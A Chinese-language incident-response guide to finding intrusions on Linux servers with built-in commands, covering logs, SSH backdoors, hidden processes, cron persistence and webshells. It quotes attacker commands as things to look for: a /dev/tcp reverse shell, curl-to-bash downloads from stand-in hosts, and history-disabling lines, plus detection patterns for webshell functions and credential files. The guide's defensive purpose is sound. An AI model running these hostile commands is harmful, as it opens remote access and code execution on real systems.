Linux服务器入侵检测实战:命令行应急响应与安全排查指南
1. 项目概述:从“救火”到“防火”的思维转变
干了这么多年运维和安全,最怕的就是半夜接到电话,说服务器异常。登录上去一看,CPU跑满、流量异常、或者干脆连不上,那种感觉就像家里进了贼,而你还在外地出差。所谓的“入侵检测”,听起来高大上,其实核心就一件事:在服务器被“搞”了之后,快速搞清楚“谁干的”、“怎么干的”、“动了什么”以及“怎么收拾残局”。这活儿,三分靠工具,七分靠经验。
很多人一上来就想着用各种复杂的商业工具或者AI模型,但对于绝大多数中小团队和运维工程师来说,最直接、最有效的,恰恰是那些内置于Linux系统、看似基础却威力巨大的命令。它们就像老中医的“望闻问切”,能快速定位病灶。本教程要分享的,就是这套基于命令行的“入侵检测急救箱”。它不追求大而全,而是聚焦于实战中最高频、最有效的检查点:从审计命令追溯攻击者行为,到利用SSH伪装技巧分析攻击者可能留下的痕迹;从检查文件状态、用户、进程的细微异常,到深挖网络连接、计划任务、系统后门这些藏污纳垢的角落,最后还会覆盖Webshell查找和敏感信息泄露排查。目标只有一个:给你一套清晰、可操作、能直接上手的检查清单和排查思路,让你在遇到安全事件时,不至于手忙脚乱。
2. 核心思路与检查框架设计
面对一台可能已被入侵的服务器,最忌讳的就是无头苍蝇似的乱查。一个清晰的检查框架能帮你系统性地覆盖所有关键点,避免遗漏。我的思路是遵循“由外到内,由表及里,动静结合”的原则。
由外到内:先看服务器对外的表现(网络流量、异常连接),再看内部运行状态(进程、用户),最后检查静态文件(系统文件、后门文件)。由表及里:从最明显的异常现象(如CPU高、连接异常)入手,逐步深入到隐蔽的启动项、内核模块等。动静结合:“动”指正在运行的程序、网络连接;“静”指文件系统、配置文件的改动。
基于这个原则,我通常会将检查流程分为以下几个阶段,你可以把它保存为一个检查清单(Checklist):
- 初步感知与信息收集:首先通过
top,htop,iftop,nethogs等命令快速感知系统负载、网络流量,对异常有个初步判断。同时,立即备份关键日志(如/var/log/secure,/var/log/messages,/var/log/audit/audit.log),防止被攻击者清除。 - 用户与认证溯源:检查是否有异常用户、空口令用户、特权用户,以及分析SSH等登录日志,定位攻击入口和时间。
- 进程与网络行为分析:这是发现正在进行的恶意活动(如挖矿、DDoS、反弹Shell)的关键。排查异常进程、隐藏进程以及可疑的网络连接。
- 文件系统与完整性检查:攻击者总会留下或修改文件。检查关键系统文件的完整性、查找近期被修改的可执行文件、以及搜索常见的Webshell或后门文件。
- 持久化与自启动项排查:攻击者为了维持访问,通常会设置计划任务、服务或修改启动脚本。这是清理后防止“死灰复燃”的重点。
- 深度后门与Rootkit检测:使用
rkhunter,chkrootkit等工具,并结合手动命令,检查是否存在替换系统命令、加载内核模块等高级后门。
这个框架不是线性的,在实际操作中往往需要根据发现的一个线索,交叉跳转到其他环节进行验证。例如,发现一个可疑进程,就要立刻去查它的可执行文件路径、所属用户、网络连接,并检查是否有对应的计划任务。
实操心得:在开始任何检查前,如果条件允许,优先对系统做一次快照或内存转储。对于云主机,创建磁盘快照;对于物理机或虚拟机,如果可以,保存一份内存镜像。这为后续的深度取证和法律溯源保留了最原始的证据。检查过程中,所有命令的输出最好都重定向到文件,例如
ps aux > ps_aux_$(date +%Y%m%d_%H%M%S).log,方便事后分析和报告。
3. 审计命令:从日志中还原攻击轨迹
日志是入侵检测的“黑匣子”。一个熟练的攻击者会尝试删除日志,但往往无法抹去所有痕迹。我们的任务就是像侦探一样,从残存的日志碎片中拼凑出攻击故事。
3.1 核心日志文件与查看命令
Linux的日志子系统庞杂,但对于入侵检测,重点关注以下几类:
- 认证日志:
/var/log/secure(RHEL/CentOS) 或/var/log/auth.log(Debian/Ubuntu)。这是SSH登录尝试(成功/失败)的记录核心。查看暴力破解痕迹:# 查看root用户失败的登录尝试(按IP统计) grep \"Failed password for root\" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | head -20 # 查看所有成功登录记录 grep \"Accepted password\" /var/log/secure # 查看特定时间段(如最近2小时)的登录日志 awk -v d1=\"$(date --date='-2 hours' +'%b %_d %H:%M:%S')\" -v d2=\"$(date +'%b %_d %H:%M:%S')\" '$0 > d1 && $0 < d2' /var/log/secure | grep -E \"(Failed|Accepted)\" - 历史命令:
~/.bash_history。检查攻击者在登录后执行了哪些命令。注意:高手会清空这个文件 (history -c并> ~/.bash_history),或者通过设置HISTFILE=/dev/null环境变量来禁用记录。因此,没发现异常不代表安全。# 查看所有用户(需要root)的历史记录,寻找可疑命令 for user in $(ls /home); do echo \"=== History for $user ===\"; sudo -u $user tail -n 50 /home/$user/.bash_history 2>/dev/null; done # 查找曾经使用过wget/curl下载文件的记录 grep -E \"(wget|curl)\" /home/*/.bash_history 2>/dev/null - 系统与内核日志:
/var/log/messages或/var/log/syslog。记录系统级事件,如服务启动停止、内核消息等。可能包含一些攻击 payload 触发的错误信息。 - 审计日志:
/var/log/audit/audit.log。如果系统安装了auditd并配置了规则,这里会有更详细的、基于内核级的事件记录,比如文件访问、系统调用、用户命令执行等。这是高级监控和取证的利器。# 查看所有审计日志(内容很多) ausearch -i # 查看所有文件打开事件 ausearch -i -sc open # 查看特定用户(如uid=1000)执行的所有命令 ausearch -i -ua 1000 -x bash
3.2 关键审计命令详解
除了查看日志文件,一些命令能直接格式化输出特定日志内容,非常方便。
last/lastb/lastlog:last: 读取/var/log/wtmp,显示成功登录、重启、关机的历史。last -x reboot看重启时间,last -x shutdown看关机时间。如果wtmp被清空,此命令无效。lastb: 读取/var/log/btmp,显示失败的登录尝试。这是发现暴力破解攻击的直接证据。lastb -i可以显示IP地址。lastlog: 读取/var/log/lastlog,显示所有用户最后一次登录的时间。检查是否有不常登录的用户突然有登录记录。
who/w: 查看当前登录的用户及其活动。w命令更详细,会显示用户正在执行的命令。这是发现“活着的”入侵会话的最快方法之一。如果一个陌生的IP或用户正在执行bash、sh或curl | bash这类命令,需要高度警惕。
注意事项:攻击者常用的一个技巧是使用
ssh -T user@host /bin/bash -i或ssh user@host script /dev/null -c bash等方式登录。这种“无终端(non-tty)”登录,在w或who命令中显示的TTY栏会是notty或?,看起来不那么显眼。因此,看到notty的会话,尤其是来自非常用IP的,一定要追查到底。
4. SSH安全分析与攻击者伪装技巧识别
SSH是Linux服务器最常见的入口,也是攻击者的首要目标。分析SSH相关日志和配置,不仅能发现入侵,还能了解攻击者的手法。
4.1 SSH登录检查与加固回顾
首先,检查SSH配置文件/etc/ssh/sshd_config是否存在安全隐患:
# 查看关键配置 grep -E \"^(PermitRootLogin|PasswordAuthentication|PubkeyAuthentication|Port)\" /etc/ssh/sshd_configPermitRootLogin no:强烈建议禁止root直接登录。先用普通用户登录,再su或sudo。PasswordAuthentication no:推荐使用密钥登录,禁用密码登录,从根本上杜绝暴力破解。Port 22:考虑修改为非默认端口,能减少大量自动化扫描。
检查授权密钥文件,防止后门:
# 检查所有用户的authorized_keys文件 find /home -name \"authorized_keys\" -type f | xargs ls -la # 仔细查看root用户的密钥文件(如果允许root登录) cat /root/.ssh/authorized_keys 2>/dev/null留意是否有不认识的公钥,或者公钥的注释字段(通常为邮箱)是否可疑。
4.2 攻击者SSH伪装技巧与痕迹分析
攻击者在利用SSH进行横向移动或维持访问时,会使用一些技巧来隐藏行踪。了解这些技巧,才能更好地发现他们。
跳过Known Hosts记录:攻击者从一台已控服务器(跳板机)登录其他服务器时,不希望留下公钥指纹记录。
# 攻击者可能使用的命令 ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no user@target_host检查:在目标服务器的
/var/log/secure中,如果看到来自某个IP的登录,但该IP在~/.ssh/known_hosts中没有对应的记录新增,可能就是用了此技巧。同时,这种登录可能会在日志中产生POSSIBLE BREAK-IN ATTEMPT!的警告(如果StrictHostKeyChecking是默认的)。无历史记录操作:登录后立即清空或禁用历史记录。
# 攻击者登录后可能执行的命令 unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0检查:如果发现某个用户的历史记录 (
~/.bash_history) 在某个时间点后突然空白,而之前是连续的,这非常可疑。可以结合last登录记录的时间点进行比对。反弹Shell与无TTY会话:这是维持访问的常见手段。通过
bash -i >& /dev/tcp/attacker_ip/port 0>&1或利用nc、socat等工具建立反弹Shell。这类进程的父进程可能是cron、systemd或某个Web服务,并且没有关联的终端(TTY)。检查:# 查找没有控制终端(TTY为?)的bash或sh进程 ps aux | grep -E \"(bash|sh|zsh)\" | grep -v grep | awk '$7 == \"?\" {print $0}' # 使用lsof查看进程打开的文件描述符,寻找到外部IP的TCP连接 lsof -iTCP -nP | grep ESTABLISHED | grep -E \"(bash|sh|perl|python|nc)\" # 使用netstat或ss查看异常出站连接 ss -antp | grep ESTABLISHED | grep -v \":22\"SSH后门(替换sshd):这是最隐蔽的方式之一。攻击者编译一个带有后门的OpenSSH版本,替换系统的
/usr/sbin/sshd。后门可能允许特定密码(万能密码)登录,并且不记录日志。检查:- 版本比对:
ssh -V显示的版本号是否与系统包管理器(rpm -qa openssh或dpkg -l openssh-server)显示的版本一致? - 文件完整性:检查
sshd二进制文件的修改时间、大小、MD5/SHA256哈希值是否与官方包一致。rpm -Vf /usr/sbin/sshd # RHEL/CentOS debsums -s openssh-server # Debian/Ubuntu (需安装debsums) - 字符串搜索:在
sshd二进制中搜索可能的硬编码密码、邮箱或IP。strings /usr/sbin/sshd | grep -E \"(password|passwd|secret|@gmail|@qq|192.168|10.\\.)\" - 动态跟踪:使用
strace跟踪sshd进程,看它是否在向异常文件(如/tmp/ilog,/tmp/olog)写入数据(记录密码)。# 找到sshd主进程PID PID=$(systemctl show sshd --property=MainPID --value) strace -f -p $PID -e trace=open,write 2>&1 | grep -E \"(ilog|olog|pass)\"
- 版本比对:
实操心得:对于SSH的检查,一定要结合日志 (
secure/auth.log)、进程 (ps)、网络连接 (netstat/ss/lsof) 和文件完整性 (rpm -V) 进行交叉验证。单一维度的检查很容易被绕过。例如,一个通过万能密码登录的SSH后门,在secure日志里可能完全没有记录,但通过ss或lsof你依然能看到来自某个IP的SSH连接,而last命令却查不到这个登录记录,这就是一个强烈的矛盾信号。
5. 文件系统与进程的深度检查
文件和进程是攻击者活动的两大载体。恶意代码要么以文件形式存在,要么在内存中运行。
5.1 文件状态、时间与完整性检查
Linux文件有三个关键时间戳:访问时间(Atime)、修改时间(Mtime)、状态变更时间(Ctime)。ls -l默认显示Mtime,ls -lu显示Atime,ls -lc显示Ctime。
- Ctime的妙用:Ctime在文件权限、所有者、链接数等元数据改变时会更新。当一个文件从外部(如wget下载、scp传输、解压)创建时,它的Ctime会设置为当前系统时间,而Mtime和Atime可能保留原始时间。这可以用来判断文件是否是“外来户”。
# 查找最近1天内Ctime发生变化,但Mtime较旧的可执行文件 find /usr/bin /usr/sbin /bin /sbin -type f -ctime -1 ! -mtime -1 -exec ls -lc {} \\; # 查找Web目录下最近被修改的PHP文件 find /var/www/html -name \"*.php\" -type f -mtime -1 -exec ls -la {} \\; - SUID/SGID文件:设置了SUID位的文件,任何用户执行时都会以文件所有者的权限运行。这是提权的常见跳板。
# 查找系统中所有的SUID/SGID文件 find / -type f \\( -perm -4000 -o -perm -2000 \\) -exec ls -la {} \\; 2>/dev/null # 检查这些文件是否属于root且不在常见目录(如/bin/passwd, /bin/su) - 隐藏文件与目录:攻击者喜欢用点号(.)开头的文件或目录隐藏工具。
# 查找/tmp, /var/tmp等临时目录下的隐藏文件 ls -la /tmp/.* 2>/dev/null find /tmp /var/tmp -name \".*\" -type f 2>/dev/null # 查找名称可疑的文件(如...、.. 、空格结尾) find / -name \"..\" -o -name \"...\" -o -name \"* \" 2>/dev/null
5.2 进程检查与隐藏进程发现
常规进程查看:
ps aux --sort=-%cpu | head -20 # 查看CPU占用最高的进程 ps aux --sort=-%mem | head -20 # 查看内存占用最高的进程 ps auxf # 以树形显示进程父子关系,便于发现异常派生重点关注:
- 陌生的进程名或路径(如
minerd,xmrig,kinsing,libsystem等常见挖矿程序)。 - 占用大量CPU/内存但看起来像系统进程的(如
kthreadd/0,攻击者可能重命名恶意进程)。 bash、sh、python、perl等解释器进程,其命令行参数是否在下载或执行远程代码(如curl http://malicious.site/x.sh | bash)。
- 陌生的进程名或路径(如
网络关联分析:将进程与网络连接关联起来。
# 使用netstat netstat -antp | grep ESTABLISHED # 使用ss (更推荐,速度更快) ss -antp # 使用lsof查看特定进程打开的网络连接和文件 lsof -p <PID> # 查看所有连接到外部可疑IP(如矿池)的进程 ss -antp | grep ESTABLISHED | grep -E \"(6666|7777|4444|3333|14444)\" # 常见矿池端口发现隐藏进程:高级的Rootkit会 hook 系统调用,使
ps、top等命令无法显示恶意进程。我们可以通过/proc文件系统来交叉验证。# 方法1:比较ps看到的PID和/proc目录下的PID ps -ef | awk '{print $2}' | sort -n | uniq > /tmp/ps_pid.list ls /proc | grep -E '^[0-9]+$' | sort -n | uniq > /tmp/proc_pid.list diff /tmp/ps_pid.list /tmp/proc_pid.list # 如果diff输出有只在/proc中存在的PID,可能就是隐藏进程。 # 方法2:直接遍历/proc查看进程信息 for pid in $(ls /proc | grep -E '^[0-9]+$'); do if [ -d /proc/$pid ]; then cmdline=$(cat /proc/$pid/cmdline 2>/dev/null | tr '\\0' ' ') if [ -z \"$cmdline\" ]; then # 没有命令行,可能是内核线程,但也可能是隐藏的用户进程 exe=$(readlink /proc/$pid/exe 2>/dev/null) echo \"PID: $pid, Cmdline: [kernel thread?], Exe: $exe\" else echo \"PID: $pid, Cmdline: $cmdline\" fi fi done | grep -v -E \"(\\[|systemd|kworker|ksoftirqd|rcu_sched)\" # 过滤常见内核线程
常见问题:
/proc目录下有些数字目录不是进程,而是线程(在task/子目录下)。简单的ls /proc会包含线程ID,导致diff方法出现很多“误报”。更精确的方法是使用ps -eLf获取所有线程ID列表进行对比,或者直接检查/proc/[pid]/status文件中的Tgid(线程组ID,即进程ID)字段。
6. 网络、计划任务与持久化后门排查
攻击者一旦进入系统,就会想方设法维持访问(持久化)并扩大战果。网络是通道,计划任务和启动项是常用的持久化手段。
6.1 网络连接与嗅探检查
- 异常连接:持续检查
ss -antp或netstat -antp,关注ESTABLISHED状态的连接,特别是连接到不常见端口或国外IP的。 - 嗅探模式(Promiscuous Mode):网卡处于此模式时,会接收所有流经网络的数据包,而不仅仅是发给自己的。这通常是网络嗅探器(如
tcpdump,也可能是恶意软件)运行的标志。
如果发现网卡处于混杂模式,且不是你授权的监控行为,那就要警惕了。ip link | grep PROMISC # 或 ifconfig | grep PROMISC - ARP表检查:ARP欺骗是中间人攻击的一种。检查ARP表是否有异常条目,比如同一个IP对应多个MAC地址。
arp -a
6.2 计划任务(Cron)与系统启动项
这是攻击者最喜欢的“复活点”之一。
- 系统级Cron:
ls -la /etc/cron* # 查看所有cron目录 cat /etc/crontab # 查看系统crontab ls -la /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly - 用户级Cron:
# 查看所有用户的crontab for user in $(cut -f1 -d: /etc/passwd); do echo \"=== Crontab for $user ===\"; crontab -l -u $user 2>/dev/null; done # 或者直接检查文件 ls -la /var/spool/cron/crontabs/ # Debian/Ubuntu ls -la /var/spool/cron/ # RHEL/CentOS - 系统启动项:
# Systemd系统 systemctl list-unit-files --type=service | grep enabled # 检查/etc/rc.local (如果存在且可执行) ls -la /etc/rc.local cat /etc/rc.local # 检查用户profile文件 cat /etc/profile cat /etc/bashrc cat ~/.bashrc cat ~/.bash_profile # 检查init.d目录 (SysVinit) ls -la /etc/init.d/
攻击者常用手法:在/etc/cron.hourly/或/etc/cron.d/下放置一个名字看起来像系统服务的脚本(如logrotate.sh),内容可能是下载并执行恶意程序。或者在用户的.bashrc中加入curl -s http://bad.com/p.sh | bash -s,这样每次用户登录就会中招。
6.3 常见后门位置与Rootkit检查
- 检查已知后门文件:
# .rhosts 和 .forward 是古老但可能被利用的后门文件 find /home /root -name \".rhosts\" -o -name \".forward\" -exec ls -la {} \\; 2>/dev/null # 检查是否有+ +这样的配置(允许任何主机任何用户无密码访问) find /home /root -name \".rhosts\" -exec cat {} \\; 2>/dev/null | grep \"^+ +\" - 检查动态链接库劫持:通过
LD_PRELOAD环境变量预加载恶意so库。# 检查全局环境变量配置 grep -r LD_PRELOAD /etc/profile /etc/profile.d/ /etc/bashrc ~/.bashrc ~/.bash_profile 2>/dev/null # 检查服务文件中的Environment配置 systemctl show sshd | grep Environment - 使用Rootkit检测工具:虽然不能完全依赖,但可以作为辅助。
注意:这些工具也有被绕过的可能,且可能产生误报。它们的报告需要结合手动分析来判断。# 安装并运行rkhunter yum install rkhunter -y # RHEL/CentOS apt install rkhunter -y # Debian/Ubuntu rkhunter --check --sk # 安装并运行chkrootkit # 注意:需要从官网下载源码编译,或从EPEL等源安装 chkrootkit
7. Webshell查找与应急响应实战
对于Web服务器,Webshell是攻击者最常用的后门。查找Webshell是入侵检测中极其重要的一环。
7.1 基于文件特征的查找
Webshell通常是一段嵌入在正常Web文件(如.php,.jsp,.asp)中的恶意脚本。我们可以根据其代码特征进行查找。
# 在Web目录下查找包含常见危险函数的PHP文件 WEBDIR=\"/var/www/html\" find $WEBDIR -name \"*.php\" -type f -exec grep -l -E \"(eval\\(|base64_decode|system\\(|shell_exec\\(|passthru\\(|exec\\(|proc_open|popen|curl_exec|file_put_contents\\(.*\\$_POST)\" {} \\; 2>/dev/null # 查找最近被修改的Web文件 find $WEBDIR -type f \\( -name \"*.php\" -o -name \"*.jsp\" -o -name \"*.jspx\" -o -name \"*.asp\" -o -name \"*.aspx\" \\) -mtime -7 -exec ls -la {} \\; # 查找权限异常的文件(如777) find $WEBDIR -type f -perm 777 # 查找包含长字符串base64编码的文件(很多一句话木马的特征) find $WEBDIR -type f -exec grep -l \"[A-Za-z0-9+/]\\{50,\\}\" {} \\; 2>/dev/null7.2 基于时间戳和访问日志的关联分析
如果发现了可疑的Webshell文件,下一步就是关联攻击行为。
- 确定Webshell创建时间:使用
stat命令查看文件的Modify和Change时间。 - 搜索访问日志:在Web服务器(如Nginx的
access.log,Apache的access_log)中,查找在Webshell创建时间点前后,访问该文件路径的请求。# 假设Webshell路径是 /var/www/html/images/shell.php # 查找所有访问过这个文件的IP和User-Agent grep \"shell\\.php\" /var/log/nginx/access.log | awk '{print $1, $7, $11}' | sort | uniq -c | sort -nr - 追溯攻击源:从上一步得到的IP,反向搜索该IP在日志中还访问过哪些其他可疑路径(如
/admin/,/upload/, 包含..或%00的路径),尝试还原攻击路径(如:先通过SQL注入获取管理员密码 -> 登录后台 -> 上传Webshell)。
7.3 使用专业查杀工具
手动查找效率低,可以使用专业的Webshell查杀工具进行辅助扫描。
- ClamAV:一款开源杀毒引擎,可以扫描文件中的恶意代码。需要定期更新病毒库。
clamscan -r -i /var/www/html - 河马Webshell查杀:国产专精于Webshell查杀的工具,对国内流行的Webshell变种检测率较高。可以从其官网下载。
- 自建特征库:对于自定义的、独特的Webshell,可以将其关键特征(如特定的函数调用序列、加密密钥、通信格式)提取出来,写成
yara规则,进行批量扫描。
注意事项:在应急响应时,不要直接删除Webshell文件!首先应该将其重命名(如
shell.php.bak)或移动到隔离目录,并更改其权限为不可执行(chmod 000)。这样做的目的是:第一,防止攻击者继续利用;第二,保留样本供后续分析(分析加密方式、通信协议、C2地址等);第三,避免误删正常业务文件。在确认系统已清理干净、漏洞已修复后,再安全删除。
8. 敏感信息收集与渗透反制思路
在确认服务器被入侵后,除了清理,我们还应思考:攻击者从这里拿走了什么?是否以此服务器为跳板攻击了内网其他机器?这就是“渗透反辅”的思路——站在攻击者的角度,审视系统里还有哪些有价值的信息可能已被窃取。
8.1 敏感信息检查清单
- 密码与密钥:
# 查找配置文件中的密码 find /etc /home /root -type f -name \"*.conf\" -o -name \"*.cfg\" -o -name \"*.ini\" -o -name \"*.yml\" -o -name \"*.yaml\" | xargs grep -i -E \"(password|passwd|pwd|secret|key|token)\" 2>/dev/null | grep -v \":\\s*$\\|#\" # 查找可能的私钥文件 find / -type f -name \"id_rsa\" -o -name \"id_dsa\" -o -name \"*.pem\" -o -name \"*.key\" 2>/dev/null | xargs ls -la # 检查历史命令中是否包含明文密码 grep -E \"(mysql -p|psql -W|sshpass|--password)\" /home/*/.bash_history /root/.bash_history 2>/dev/null - 数据库连接信息:检查Web应用的配置文件(如
wp-config.php,config.php,application.properties)。 - 云服务凭证:检查
~/.aws/credentials,~/.azure/,~/.config/gcloud/等目录。 - Shell历史与日志:如前所述,攻击者的操作可能被记录。
- 内存中的秘密:在系统未重启前,可以通过工具(如
mimipenguin的Linux版思路)尝试从进程内存中提取明文密码(这需要较高权限和对内存结构的理解,实战中较少用,但取证时是高级技巧)。
8.2 入侵路径分析与反制准备
入口点分析:综合以上所有检查结果,回答关键问题:
- 初始漏洞:是SSH弱口令?Web应用漏洞(如Struts2、Spring、文件上传)?还是第三方服务漏洞(如Redis未授权、Jenkins弱口令)?
- 提权方式:攻击者是如何从普通用户变成root的?是利用了内核漏洞(
dirtycow,sudo漏洞),还是利用了配置错误(SUID文件、sudoers配置)? - 持久化方法:是Cron任务?是系统服务?还是替换了系统二进制文件?
影响范围评估:
- 数据泄露:哪些数据库、配置文件可能被访问?检查这些文件的访问时间(Atime)。
- 横向移动:检查本机的
~/.ssh/known_hosts文件,看攻击者是否尝试连接了内网其他机器。检查本机的ARP缓存、DNS缓存、甚至~/.netrc文件,寻找内网其他主机的线索。 - 对外攻击:服务器是否被用作DDoS肉鸡或挖矿?检查出站流量大的连接,以及是否有
iptables或firewalld规则被修改以放行恶意流量。
反制与加固:在清理完当前服务器后,必须进行加固,防止再次被同一方式入侵。
- 修补漏洞:升级存在漏洞的软件、框架、库。
- 修改密码:重置所有用户密码,特别是root和具有sudo权限的用户。
- 更新密钥:更换所有SSH主机密钥和用户授权密钥。
- 收紧配置:实施SSH加固(禁用密码、改端口、限制IP)、配置防火墙最小化开放端口、安装入侵检测系统(如OSSEC、Wazuh)、定期审计和更新。
入侵检测不是一次性的任务,而是一个持续的过程。建立完善的日志收集与分析系统(如ELK Stack)、部署主机入侵检测系统(HIDS)、进行定期的安全扫描和渗透测试,才能构建起主动防御的体系。这套基于命令行的检查方法,是你安全运维工具箱中最基础、也最不可或缺的部分。它让你在失去图形界面、没有专业工具的情况下,依然有能力对系统进行“体检”和“诊断”。